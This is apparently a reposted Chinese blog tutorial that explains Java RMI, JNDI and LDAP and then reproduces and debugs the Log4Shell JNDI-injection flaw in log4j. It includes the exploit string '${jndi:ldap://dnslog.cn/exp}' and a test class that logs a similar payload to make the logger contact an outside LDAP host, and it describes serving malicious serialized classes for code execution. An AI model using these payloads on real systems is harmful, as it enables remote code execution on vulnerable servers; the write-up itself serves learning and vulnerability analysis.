RMI、JNDI、LDAP介绍+log4j漏洞分析
介紹
本篇主要介紹java的RMI、JNDI、LDAP,在后面會詳細分析log4j的jndi注入原理。
什么是RMI
RMI全稱是Remote Method Invocatioon,也就是遠程方法調用,看起來和RPC(Remote Procedure Call)很像
實際上它倆的確很像,RMI算是JAVA定制版RPC吧
一個完整的RMI調用過程,需要下面幾個部分
執行流程如下
先來個例子,說不多說,都在代碼里(網上找的)
注冊服務代碼
【→所有資源關注我,私信回復“資料”獲取←】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
接口和實現接口的類
[外鏈圖片轉存中…(img-0YGvrLnk-1646029690356)]
RMI服務
客戶端
運行流程如下圖
此圖和上面的代碼對應關系
Client -> Client 存根(stub) -> Client代碼中的remoteHello對象(是個代理類,在通過它調用方法時,會將參數,函數名等信息打包,發送給骨架,存根對象包含了RMIServer的端口和ip) rmiregistry -> RegServeer Server -> RMI 骨架(Skeleton) -> 也是個代理類,監聽4000端口,用于和存根通信,收到存根的請求后,去調用RemoteImp對應的方法,然后將結果返回給存根 ServiceImpl -> RemoteImpl所以,再以上面的代碼為例,解讀下執行流程
先啟動Register服務(默認端口1099)
RMI去連接Register服務,并將Name和存根發送給Register服務
如圖
Client連接Register服務,根據Name獲取到對應存根,再通過存根調用sayHello(“World”),因為存根是代理類,所以可以獲取到函數名,參數,參數類型等信息,存根將這些信息打包,發給骨架
RMI的骨架也是代理類,通過反射調用remoteHello.sayHello(“World”),獲取返回值Hello, World,并發送給存根
Client的存根將從骨架獲取到的返回值Return,這樣Client端看起來就好像調用的是本地的方法
補充下,以上步驟,通過網絡傳輸的數據都是通過序列化對象的形式,使用的協議是JRMP(Java Remote Method Protocol)協議 很重要!!!
上面的代碼還可以寫成簡化版
如圖服務端,在啟動注冊中心的同時,設置了存根和名字
客戶端,通過url連接注冊中心,獲取存根
什么是JNDI
JNDI全稱是Java Naming and Directory Interfac,翻譯過來就是 java命名和目錄接口.實際上,這里的Naming指命名服務,Directory指目錄服務。
命名服務
就是通過對資源的命名,便于下次調用資源更方便(所以這里的Naming要唯一)。例如上面的例子中的注冊服務,就屬于命名服務將Hello綁定RemoteImpl對象,在使用時,直接通過名字Hello就可以獲取到RemoteImpl的存根。
命名服務就像下面這個清單,為每一個名字綁定了一個資源。
目錄服務
和命名服務很像,但更復雜,可以理解為一個清單,清單上有各種資源,每個資源又有自己的清單。舉個例子,例如清單上有10臺電腦,我選中一臺小李的電腦,會獲取到下一張清單,列出了小李電腦上的資源如:網絡鄰居、打印機、C盤等等,我打開網絡鄰居,又獲得一張清單。
根據上面的例子可以發現,這個目錄服務,和計算機上的目錄很像,打開一個文件夾,可以看見下一層目錄,再打開一個文件夾,又可以看見下一層目錄。
我們熟知的dns就是目錄服務,那它為什么屬于目錄服務,而不屬于命名服務呢?
DNS服務
雖然在我們看來,通過域名,返回ip,特別像命名服務,但理解下dns解析過程就知道原因了。
如圖,在查詢dns時,本地dns服務器去請求dns根服務器然后再請求.com服務器,在請求163.com服務器,最后獲得地址。
根服務器目錄包含所有頂級域名的地址,如com、cn等
com服務器的目錄中包含baidu、aliyun、tencent等
baidu.com服務器目錄包含vip、mail、oa等
例如訪問oa.baidu.com,則先去訪問根服務器->com服務器->baidu服務器->獲取到oa服務器地址
如圖
像目錄一樣,層層解析,直到解析到想要域名的ip
如果使用命名服務要怎么實現DNS解析?
如圖
[外鏈圖片轉存中…(img-U2xF21tC-1646029690393)]
每個域名對應一個ip,都存到一張表里,如果有很多個百度這樣的公司,而百度有幾千個子域名,每個子域名又有幾百個子域名,這樣域名數就會指數型增加,那這張表就會超級超級大。這就導致每查詢一次都要很久很久,而且全球域名都靠這臺服務器完成,這臺服務器獨攬大權,全球服務器的域名解析都它說了算。
這些dns服務器組成一個分布式目錄服務,用來查詢域名的ip,效率特別高。
樹形結構
從上面這些描述和介紹應該對目錄服務有了大概的了解,這種目錄結構,叫做樹形結構,如圖。
目錄服務總結
目錄服務使用樹形結構,這種結構優點是查詢效率特別高,所以目錄服務的優點之一就是查詢效率特別高,缺點就是寫數據慢,它可以是一種屬性結構的數據庫,也可以是上面那種分布式的目錄服務
什么是JNDI
JNDI是 Java 命名與目錄接口(Java Naming and Directory Interface),在J2EE規范中是重要的規范之一
J2EE規定了J2EE容器都要實現JNDI接口。在實際使用時,在J2EE容器中配置JNDI參數,這個容器就是數據源,在使用時,直接通過數據源名稱就可以調用
一個mysql的配置文件示例如圖,數據源名稱就是MySqlDS
在使用時
Context ctx=new InitialContext(); Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用數據源 DataSource ds=(Datasource)datasourceRef; conn=ds.getConnection(); /* 使用conn進行數據庫SQL操作 */ ...... c.close();通過JNDI統一的接口,只需要配置好數據源,在使用時,只需要調用lookup方法,查詢數據源名稱就可以獲得數據源,使用數據庫,不需要考慮不同數據庫的驅動、連接、調用等方式,如果想換一個數據庫,只需要修改下數據源配置文件就可以了。
什么是LDAP
LDAP(Light Directory Access Portocol),它是基于X.500標準的跨平臺的輕量級目錄訪問協議。
LDAP是一種協議,輕量級目錄訪問的協議,說明它是實現,也是通過樹形結構。
LDAP的中心概念是信息模型,它處理存儲在目錄中的信息種類和信息的結構。 信息模型圍繞一個條目(即樹的一個Node)進行,該條目是具有類型和值的屬性的集合。 條目以樹狀結構組織,稱為目錄信息樹。 這些條目是圍繞現實世界的概念,組織,人員和對象組成的。 屬性類型與定義允許信息的語法相關聯。 單個屬性可以在其中包含多個值。 LDAP中的專有名稱從下至上讀取。 左側部分稱為相對專有名稱,右側部分為基本專有名稱。
LDAP協議主要用于單點登錄SSO(Single Sign on),一個典型案例是:
學校的單點登錄系統,只需要在這里登錄,則教務、WebVPN、校園網等系統都可以直接訪問,不需要但需登錄(我們學習在使用單點登錄之前,每個系統都要單獨登錄)
LDAP可以用于SSO,但不等與SSO,這種協議還可以用于統一各種系統的認證方式、儲存企業組織架構,員工信息(由于它使用樹形結構,查詢效率高)等等。如圖
Log4j漏洞分析
網上流傳的log4j exp ${jndi:ldap://dnslog.cn/exp} 其中包含了jndi和ldap
下面復現下漏洞并分析下原理
環境
創建Maven項目,添加依賴
<dependencies><dependency><groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.17</version></dependency> </dependencies>在resources目錄添加配置文件
文件名:log4j.properties
創建Main類
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;public class aa {private static final Logger logger = LogManager.getLogger();public static void main(String[] args) {System.out.println(1);logger.error("${jndi:ldap://xxx.xxx/exp}");System.out.println(2);} }運行成功收到dns請求
調試分析
首先跟進error
首先檢測日志級別,判斷是否記錄
繼續跟logMessage
后面調用的太多了,不一一截圖了
調用棧如圖
最終在這里調用lookup
調用了JNDI的lookup方法
如圖,這里的context正是javax.naming.Context類型
通過剛開始對rmi、ldap、jndi的學習,應該知道這里是通過ldap請求資源,,由于這個過程中傳輸的對象都是序列化數據,客戶端得到資源后會進行反序列化
所以只要搭建服務端,收到客戶端請求就返回序列化的惡意class,就會導致客戶端反序列化時執行惡意代碼
總結
根據調用棧分析如下
由于輸出的日志格式為
21:51:13.846 [main] ERROR Main - Hello這個格式化過程在toSerializable函數中完成
通過11個formatters,分別獲取時間21:51:13.846、函數名main、日志級別ERROR等信息,并拼接到一起
問題就出在這11個formatters之一的PatternFormatter上,它是負責解析message的(就是上面示例日志中的Hello)
如圖,它在format方法中,打算先獲取xxx的值,然后將{xxx}的值,然后將xxx的值,然后將{xxx}替換為獲取到的值(具體如何解析,如何替換,就不分析了)
如圖,這里的xxx除了jndi,還可以是date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j,有待挖掘
在對jndi進行lookup之前,從strLookupMap中獲取到了jndi的lookup對象
如圖,每一個key都對應一個lookup對象
這些lookup對象的作用,在官網已經說明了。例如:lower:Hello會被解析為hello,{lower:Hello}會被解析為hello,lower:Hello會被解析為hello,{upper:Hello}會被解析為HELLO,只不過一直沒人翻文檔,直到今天,這個jndi注入才被發現。
所以為題根源就在PatternFormatter,那所有使用PatternFormatter的庫都有可能導致jndi注入,網上查了下PatternFormatter,有個POCO庫用到了,c++的。
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的RMI、JNDI、LDAP介绍+log4j漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全漏洞】深入剖析CVE-2021-4
- 下一篇: 一次代码审计实战案例【思路流程】